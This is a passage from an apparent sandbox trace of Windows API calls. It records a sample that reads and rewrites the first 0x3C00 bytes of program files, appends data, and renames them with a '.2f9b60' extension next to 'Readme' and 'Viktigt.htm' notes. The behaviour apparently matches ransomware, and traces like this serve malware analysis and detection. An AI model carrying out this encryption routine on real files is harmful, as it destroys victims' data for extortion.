FileInformation=0x204ffe10, Length=0x94, FileInformationClass=0xa) returned 0x0 [0105.794] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ffe10) returned 1 [0105.794] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cecdf50) returned 1 [0105.794] NtQueryInformationFile (in: FileHandle=0x1738, IoStatusBlock=0x2db3f9b8, FileInformation=0x2db3f9c8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2db3f9b8, FileInformation=0x2db3f9c8) returned 0x0 [0105.794] NtSetInformationFile (FileHandle=0x1738, IoStatusBlock=0x2db3f9b8, FileInformation=0x2db3f9c8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0105.799] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e190) returned 1 [0105.799] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9c1f0) returned 1 [0105.799] FlushFileBuffers (hFile=0x1738) returned 1 [0105.813] CloseHandle (hObject=0x1738) returned 1 [0105.814] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x78) returned 0x1b85e010 [0105.814] wcscpy (in: _Dest=0x1b85e010, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\" [0105.814] wcscat (in: _Dest=0x1b85e010, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\2F9B60-Readme.txt" [0105.814] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\2f9b60-readme.txt")) returned 0x20 [0106.083] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e010) returned 1 [0106.083] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86edb0) returned 1 Thread: id = 897 os_tid = 0x14ac [0101.109] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Viktigt.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\viktigt.htm")) returned 0x20 [0104.878] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Viktigt.htm", dwFileAttributes=0x20) returned 1 [0105.087] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Viktigt.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\viktigt.htm"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1794 [0105.087] GetFileSizeEx (in: hFile=0x1794, lpFileSize=0x2dd9f9e0 | out: lpFileSize=0x2dd9f9e0*=16916) returned 1 [0105.087] SetFilePointerEx (in: hFile=0x1794, liDistanceToMove=0x4210, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0105.087] ReadFile (in: hFile=0x1794, lpBuffer=0x2dd9f960, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2dd9f9a8, lpOverlapped=0x0 | out: lpBuffer=0x2dd9f960*, lpNumberOfBytesRead=0x2dd9f9a8*=0x4, lpOverlapped=0x0) returned 1 [0105.121] SetFilePointerEx (in: hFile=0x1794, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0105.121] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261040 [0105.121] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261010 [0105.121] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262870 [0105.121] NtQuerySystemTime (in: CurrentTime=0x2dd9f8a0 | out: CurrentTime=0x2dd9f8a0*=132462177106114000) returned 0x0 [0105.121] RtlRandomEx (in: Seed=0x2dd9f890 | out: Seed=0x2dd9f890) returned 0x5abce76 [0105.121] RtlRandomEx (in: Seed=0x2dd9f890 | out: Seed=0x2dd9f890) returned 0x45e25a2f [0105.121] RtlRandomEx (in: Seed=0x2dd9f890 | out: Seed=0x2dd9f890) returned 0x7015b563 [0105.121] RtlRandomEx (in: Seed=0x2dd9f890 | out: Seed=0x2dd9f890) returned 0x3892e64b [0105.122] RtlRandomEx (in: Seed=0x2dd9f890 | out: Seed=0x2dd9f890) returned 0x7fa714a3 [0105.122] RtlRandomEx (in: Seed=0x2dd9f890 | out: Seed=0x2dd9f890) returned 0xd7a21a7 [0105.122] RtlRandomEx (in: Seed=0x2dd9f890 | out: Seed=0x2dd9f890) returned 0x2fa5e0c6 [0105.122] RtlRandomEx (in: Seed=0x2dd9f890 | out: Seed=0x2dd9f890) returned 0x5b71b08d [0105.122] RtlRandomEx (in: Seed=0x2dd9f890 | out: Seed=0x2dd9f890) returned 0xbfcbb04 [0105.122] RtlRandomEx (in: Seed=0x2dd9f890 | out: Seed=0x2dd9f890) returned 0x375744b7 [0105.122] RtlRandomEx (in: Seed=0x2dd9f890 | out: Seed=0x2dd9f890) returned 0x44008b6d [0105.122] RtlRandomEx (in: Seed=0x2dd9f890 | out: Seed=0x2dd9f890) returned 0x4df07f0c [0105.122] RtlRandomEx (in: Seed=0x2dd9f890 | out: Seed=0x2dd9f890) returned 0x23081095 [0105.122] RtlRandomEx (in: Seed=0x2dd9f890 | out: Seed=0x2dd9f890) returned 0x3cc5aba7 [0105.122] RtlRandomEx (in: Seed=0x2dd9f890 | out: Seed=0x2dd9f890) returned 0x4265043e [0105.122] RtlRandomEx (in: Seed=0x2dd9f890 | out: Seed=0x2dd9f890) returned 0x4ff93878 [0105.122] RtlRandomEx (in: Seed=0x2dd9f890 | out: Seed=0x2dd9f890) returned 0x1e060be7 [0105.122] RtlRandomEx (in: Seed=0x2dd9f890 | out: Seed=0x2dd9f890) returned 0x5aab8b3f [0105.122] RtlRandomEx (in: Seed=0x2dd9f890 | out: Seed=0x2dd9f890) returned 0x5d0630a [0105.122] RtlRandomEx (in: Seed=0x2dd9f890 | out: Seed=0x2dd9f890) returned 0x5adcf301 [0105.122] RtlRandomEx (in: Seed=0x2dd9f890 | out: Seed=0x2dd9f890) returned 0x55c2239d [0105.122] RtlRandomEx (in: Seed=0x2dd9f890 | out: Seed=0x2dd9f890) returned 0x3bc211e [0105.122] RtlRandomEx (in: Seed=0x2dd9f890 | out: Seed=0x2dd9f890) returned 0x3cca9b53 [0105.122] RtlRandomEx (in: Seed=0x2dd9f890 | out: Seed=0x2dd9f890) returned 0x5a430c26 [0105.122] RtlRandomEx (in: Seed=0x2dd9f890 | out: Seed=0x2dd9f890) returned 0x7fa39225 [0105.122] RtlRandomEx (in: Seed=0x2dd9f890 | out: Seed=0x2dd9f890) returned 0x388293c2 [0105.122] RtlRandomEx (in: Seed=0x2dd9f890 | out: Seed=0x2dd9f890) returned 0x44a5feb3 [0105.122] RtlRandomEx (in: Seed=0x2dd9f890 | out: Seed=0x2dd9f890) returned 0x3be37757 [0105.122] RtlRandomEx (in: Seed=0x2dd9f890 | out: Seed=0x2dd9f890) returned 0x74dbeb25 [0105.122] RtlRandomEx (in: Seed=0x2dd9f890 | out: Seed=0x2dd9f890) returned 0x4e0846d9 [0105.122] RtlRandomEx (in: Seed=0x2dd9f890 | out: Seed=0x2dd9f890) returned 0x5bc79891 [0105.122] RtlRandomEx (in: Seed=0x2dd9f890 | out: Seed=0x2dd9f890) returned 0x6189d6c5 [0105.134] SetFilePointerEx (in: hFile=0x1794, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0105.134] ReadFile (in: hFile=0x1794, lpBuffer=0x41f2e130, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2dd9f900, lpOverlapped=0x0 | out: lpBuffer=0x41f2e130*, lpNumberOfBytesRead=0x2dd9f900*=0x3c00, lpOverlapped=0x0) returned 1 [0105.327] SetFilePointerEx (in: hFile=0x1794, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0105.327] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97bc0 [0105.327] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85e010 [0105.327] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f490 [0105.327] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f490) returned 1 [0105.328] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41f1b4e0 [0105.328] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f490 [0105.328] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f910 [0105.328] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f910) returned 1 [0105.328] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e010) returned 1 [0105.328] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97bc0) returned 1 [0105.328] WriteFile (in: hFile=0x1794, lpBuffer=0x41f1b4e0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2dd9f900, lpOverlapped=0x0 | out: lpBuffer=0x41f1b4e0*, lpNumberOfBytesWritten=0x2dd9f900*=0x3c00, lpOverlapped=0x0) returned 1 [0130.089] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f1b4e0) returned 1 [0130.089] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f2e130) returned 1 [0130.089] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x1b859b50 [0130.089] SetFilePointerEx (in: hFile=0x1794, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0130.089] WriteFile (in: hFile=0x1794, lpBuffer=0x1694d0*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x2dd9f9b0, lpOverlapped=0x0 | out: lpBuffer=0x1694d0*, lpNumberOfBytesWritten=0x2dd9f9b0*=0x108, lpOverlapped=0x0) returned 1 [0130.091] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97120 [0130.091] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e870 [0130.091] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859c70 [0130.091] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859c70) returned 1 [0130.092] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x1b7d5a50 [0130.092] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859c70 [0130.092] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20265af0 [0130.092] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20265af0) returned 1 [0130.092] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e870) returned 1 [0130.092] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97120) returned 1 [0130.092] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2d) returned 0x1cd9f270 [0130.092] sprintf (in: _Dest=0x1cd9f270, _Format="%c%c" | out: _Dest="6d") returned 2 [0130.092] sprintf (in: _Dest=0x1cd9f272, _Format="%c%c" | out: _Dest="f2") returned 2 [0130.092] sprintf (in: _Dest=0x1cd9f274, _Format="%c%c" | out: _Dest="52") returned 2 [0130.092] sprintf (in: _Dest=0x1cd9f276, _Format="%c%c" | out: _Dest="7a") returned 2 [0130.092] sprintf (in: _Dest=0x1cd9f278, _Format="%c%c" | out: _Dest="c7") returned 2 [0130.092] sprintf (in: _Dest=0x1cd9f27a, _Format="%c%c" | out: _Dest="6c") returned 2 [0130.092] sprintf (in: _Dest=0x1cd9f27c, _Format="%c%c" | out: _Dest="17") returned 2 [0130.092] sprintf (in: _Dest=0x1cd9f27e, _Format="%c%c" | out: _Dest="17") returned 2 [0130.092] sprintf (in: _Dest=0x1cd9f280, _Format="%c%c" | out: _Dest="02") returned 2 [0130.093] sprintf (in: _Dest=0x1cd9f282, _Format="%c%c" | out: _Dest="b6") returned 2 [0130.093] sprintf (in: _Dest=0x1cd9f284, _Format="%c%c" | out: _Dest="55") returned 2 [0130.093] sprintf (in: _Dest=0x1cd9f286, _Format="%c%c" | out: _Dest="95") returned 2 [0130.093] sprintf (in: _Dest=0x1cd9f288, _Format="%c%c" | out: _Dest="b0") returned 2 [0130.093] sprintf (in: _Dest=0x1cd9f28a, _Format="%c%c" | out: _Dest="bc") returned 2 [0130.093] sprintf (in: _Dest=0x1cd9f28c, _Format="%c%c" | out: _Dest="8b") returned 2 [0130.093] sprintf (in: _Dest=0x1cd9f28e, _Format="%c%c" | out: _Dest="34") returned 2 [0130.093] sprintf (in: _Dest=0x1cd9f290, _Format="%c%c" | out: _Dest="06") returned 2 [0130.093] sprintf (in: _Dest=0x1cd9f292, _Format="%c%c" | out: _Dest="0d") returned 2 [0130.093] sprintf (in: _Dest=0x1cd9f294, _Format="%c%c" | out: _Dest="63") returned 2 [0130.093] sprintf (in: _Dest=0x1cd9f296, _Format="%c%c" | out: _Dest="e5") returned 2 [0130.093] sprintf (in: _Dest=0x1cd9f298, _Format="%c%c" | out: _Dest="14") returned 2 [0130.093] sprintf (in: _Dest=0x1cd9f29a, _Format="%c%c" | out: _Dest="47") returned 2 [0130.093] RtlInitAnsiString (in: DestinationString=0x2dd9fa28, SourceString="6df2527ac76c171702b65595b0bc8b34060d63e51447" | out: DestinationString="6df2527ac76c171702b65595b0bc8b34060d63e51447") [0130.093] RtlAnsiStringToUnicodeString (in: DestinationString=0x2dd9f9f8, SourceString="6df2527ac76c171702b65595b0bc8b34060d63e51447", AllocateDestinationString=1 | out: DestinationString="6df2527ac76c171702b65595b0bc8b34060d63e51447") returned 0x0 [0130.093] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5a) returned 0x1b7c1b80 [0130.093] wcscat (in: _Dest=0x1b79e870, _Source="6df2527ac76" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\6df2527ac76") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\6df2527ac76" [0130.094] wcscat (in: _Dest=0x1b79e870, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\6df2527ac76.2f9b60") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\6df2527ac76.2f9b60" [0130.094] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\6df2527ac76.2f9b60", NtPathName=0x2dd9f9d0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\6df2527ac76.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0130.094] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x96) returned 0x4205cc90 [0130.096] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205cc90) returned 1 [0130.096] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b77af50) returned 1 [0130.096] NtQueryInformationFile (in: FileHandle=0x1794, IoStatusBlock=0x2dd9fa38, FileInformation=0x2dd9fa48, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2dd9fa38, FileInformation=0x2dd9fa48) returned 0x0 [0130.097] NtSetInformationFile (FileHandle=0x1794, IoStatusBlock=0x2dd9fa38, FileInformation=0x2dd9fa48, Length=0x28, FileInformationClass=0x4) returned 0x0 [0130.099] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e870) returned 1 [0130.099] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7c1b80) returned 1 [0130.099] FlushFileBuffers (hFile=0x1794) returned 1 [0130.101] CloseHandle (hObject=0x1794) returned 1 [0130.102] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x78) returned 0x1b79e870 [0130.103] wcscpy (in: _Dest=0x1b79e870, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\" [0130.103] wcscat (in: _Dest=0x1b79e870, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\2F9B60-Readme.txt" [0130.103] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\2f9b60-readme.txt")) returned 0x20 [0130.103] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e870) returned 1 [0130.103] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867ec0) returned 1 Thread: id = 898 os_tid = 0x14b0 [0101.110] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\APPLAUSE.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\media\\applause.wav")) returned 0x20 [0102.549] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\APPLAUSE.WAV", dwFileAttributes=0x20) returned 1 [0102.551] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\APPLAUSE.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\media\\applause.wav"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1604 [0102.551] GetFileSizeEx (in: hFile=0x1604, lpFileSize=0x2decf920 | out: lpFileSize=0x2decf920*=28074) returned 1 [0102.552] SetFilePointerEx (in: hFile=0x1604, liDistanceToMove=0x6da6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.552] ReadFile (in: hFile=0x1604, lpBuffer=0x2decf8a0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2decf8e8, lpOverlapped=0x0 | out: lpBuffer=0x2decf8a0*, lpNumberOfBytesRead=0x2decf8e8*=0x4, lpOverlapped=0x0) returned 1 [0102.566] SetFilePointerEx (in: hFile=0x1604, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.566] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859490 [0102.566] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261640 [0102.566] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202609b0 [0102.566] NtQuerySystemTime (in: CurrentTime=0x2decf7e0 | out: CurrentTime=0x2decf7e0*=132462177080842000) returned 0x0 [0102.566] RtlRandomEx (in: Seed=0x2decf7d0 | out: Seed=0x2decf7d0) returned 0x65eab600 [0102.566] RtlRandomEx (in: Seed=0x2decf7d0 | out: Seed=0x2decf7d0) returned 0x68966081 [0102.566] RtlRandomEx (in: Seed=0x2decf7d0 | out: Seed=0x2decf7d0) returned 0x1c15bcdf [0102.566] RtlRandomEx (in: Seed=0x2decf7d0 | out: Seed=0x2decf7d0) returned 0x46a46e7c [0102.566] RtlRandomEx (in: Seed=0x2decf7d0 | out: Seed=0x2decf7d0) returned 0x68c13941 [0102.566] RtlRandomEx (in: Seed=0x2decf7d0 | out: Seed=0x2decf7d0) returned 0x6bb2438f [0102.566] RtlRandomEx (in: Seed=0x2decf7d0 | out: Seed=0x2decf7d0) returned 0x7405655a [0102.566] RtlRandomEx (in: Seed=0x2decf7d0 | out: Seed=0x2decf7d0) returned 0x4ac6ce49 [0102.566] RtlRandomEx (in: Seed=0x2decf7d0 | out: Seed=0x2decf7d0) returned 0xc10e5f7 [0102.566] RtlRandomEx (in: Seed=0x2decf7d0 | out: Seed=0x2decf7d0) returned 0xe557cb9 [0102.566] RtlRandomEx (in: Seed=0x2decf7d0 | out: Seed=0x2decf7d0) returned 0x494b04f9 [0102.566] RtlRandomEx (in: Seed=0x2decf7d0 | out: Seed=0x2decf7d0) returned 0x4af66278 [0102.567] RtlRandomEx (in: Seed=0x2decf7d0 | out: Seed=0x2decf7d0) returned 0x68ec1201 [0102.567] RtlRandomEx (in: Seed=0x2decf7d0 | out: Seed=0x2decf7d0) returned 0x4ee34177 [0102.567] RtlRandomEx (in: Seed=0x2decf7d0 | out: Seed=0x2decf7d0) returned 0x60de6a63 [0102.567] RtlRandomEx (in: Seed=0x2decf7d0 | out: Seed=0x2decf7d0) returned 0x5fa71d5b [0102.567] RtlRandomEx (in: Seed=0x2decf7d0 | out: Seed=0x2decf7d0) returned 0x5bb9e975 [0102.567] RtlRandomEx (in: Seed=0x2decf7d0 | out: Seed=0x2decf7d0) returned 0x7b8a2e16 [0102.567] RtlRandomEx (in: Seed=0x2decf7d0 | out: Seed=0x2decf7d0) returned 0x5ae2590c [0102.567] RtlRandomEx (in: Seed=0x2decf7d0 | out: Seed=0x2decf7d0) returned 0x5fd4a499 [0102.567] RtlRandomEx (in: Seed=0x2decf7d0 | out: Seed=0x2decf7d0) returned 0x3066a870 [0102.567] RtlRandomEx (in: Seed=0x2decf7d0 | out: Seed=0x2decf7d0) returned 0x280f0134 [0102.567] RtlRandomEx (in: Seed=0x2decf7d0 | out: Seed=0x2decf7d0) returned 0x1f66bba3 [0102.567] RtlRandomEx (in: Seed=0x2decf7d0 | out: Seed=0x2decf7d0) returned 0x4059ff02 [0102.567] RtlRandomEx (in: Seed=0x2decf7d0 | out: Seed=0x2decf7d0) returned 0x3e5d78c7 [0102.567] RtlRandomEx (in: Seed=0x2decf7d0 | out: Seed=0x2decf7d0) returned 0x1bb85768 [0102.567] RtlRandomEx (in: Seed=0x2decf7d0 | out: Seed=0x2decf7d0) returned 0x7772bad6 [0102.567] RtlRandomEx (in: Seed=0x2decf7d0 | out: Seed=0x2decf7d0) returned 0x3aad1349 [0102.567] RtlRandomEx (in: Seed=0x2decf7d0 | out: Seed=0x2decf7d0) returned 0x1d6d81bd [0102.567] RtlRandomEx (in: Seed=0x2decf7d0 | out: Seed=0x2decf7d0) returned 0x7672640a [0102.567] RtlRandomEx (in: Seed=0x2decf7d0 | out: Seed=0x2decf7d0) returned 0x239d191d [0102.567] RtlRandomEx (in: Seed=0x2decf7d0 | out: Seed=0x2decf7d0) returned 0x7495b668 [0102.579] SetFilePointerEx (in: hFile=0x1604, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.579] ReadFile (in: hFile=0x1604, lpBuffer=0x204a0f30, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2decf840, lpOverlapped=0x0 | out: lpBuffer=0x204a0f30*, lpNumberOfBytesRead=0x2decf840*=0x3c00, lpOverlapped=0x0) returned 1 [0102.583] SetFilePointerEx (in: hFile=0x1604, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.583] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd971c0 [0102.583] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8696c0 [0102.584] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202609b0 [0102.584] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202609b0) returned 1 [0102.585] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x204a8750 [0102.585] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202609b0 [0102.585] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202622d0 [0102.585] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202622d0) returned 1 [0102.585] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8696c0) returned 1 [0102.585] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd971c0) returned 1 [0102.585] WriteFile (in: hFile=0x1604, lpBuffer=0x204a8750*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2decf840, lpOverlapped=0x0 | out: lpBuffer=0x204a8750*, lpNumberOfBytesWritten=0x2decf840*=0x3c00, lpOverlapped=0x0) returned 1 [0102.972] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204a8750) returned 1 [0102.972] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204a0f30) returned 1 [0102.972] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x20260320 [0102.972] SetFilePointerEx (in: hFile=0x1604, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0102.972] WriteFile (in: hFile=0x1604, lpBuffer=0x4205a890*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2decf8f0, lpOverlapped=0x0 | out: lpBuffer=0x4205a890*, lpNumberOfBytesWritten=0x2decf8f0*=0x10a, lpOverlapped=0x0) returned 1 [0103.375] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd976c0 [0103.375] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503890 [0103.375] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859640 [0103.375] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859640) returned 1 [0103.376] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d000 [0103.376] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859640 [0103.376] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859580 [0103.376] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859580) returned 1 [0103.376] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503890) returned 1 [0103.376] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd976c0) returned 1 [0103.376] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9e930 [0103.376] sprintf (in: _Dest=0x1cd9e930, _Format="%c%c" | out: _Dest="28") returned 2 [0103.376] sprintf (in: _Dest=0x1cd9e932, _Format="%c%c" | out: _Dest="7f") returned 2 [0103.376] sprintf (in: _Dest=0x1cd9e934, _Format="%c%c" | out: _Dest="89") returned 2 [0103.376] sprintf (in: _Dest=0x1cd9e936, _Format="%c%c" | out: _Dest="e2") returned 2 [0103.376] sprintf (in: _Dest=0x1cd9e938, _Format="%c%c" | out: _Dest="9d") returned 2 [0103.376] sprintf (in: _Dest=0x1cd9e93a, _Format="%c%c" | out: _Dest="fd") returned 2 [0103.376] sprintf (in: _Dest=0x1cd9e93c, _Format="%c%c" | out: _Dest="a8") returned 2 [0103.376] sprintf (in: _Dest=0x1cd9e93e, _Format="%c%c" | out: _Dest="cf") returned 2 [0103.376] sprintf (in: _Dest=0x1cd9e940, _Format="%c%c" | out: _Dest="6d") returned 2 [0103.376] sprintf (in: _Dest=0x1cd9e942, _Format="%c%c" | out: _Dest="1f") returned 2 [0103.377] sprintf (in: _Dest=0x1cd9e944, _Format="%c%c" | out: _Dest="83") returned 2 [0103.377] sprintf (in: _Dest=0x1cd9e946, _Format="%c%c" | out: _Dest="86") returned 2 [0103.377] sprintf (in: _Dest=0x1cd9e948, _Format="%c%c" | out: _Dest="29") returned 2 [0103.377] sprintf (in: _Dest=0x1cd9e94a, _Format="%c%c" | out: _Dest="c9") returned 2 [0103.377] sprintf (in: _Dest=0x1cd9e94c, _Format="%c%c" | out: _Dest="82") returned 2 [0103.377] sprintf (in: _Dest=0x1cd9e94e, _Format="%c%c" | out: _Dest="63") returned 2 [0103.377] sprintf (in: _Dest=0x1cd9e950, _Format="%c%c" | out: _Dest="5c") returned 2 [0103.377] sprintf (in: _Dest=0x1cd9e952, _Format="%c%c" | out: _Dest="ee") returned 2 [0103.377] sprintf (in: _Dest=0x1cd9e954, _Format="%c%c" | 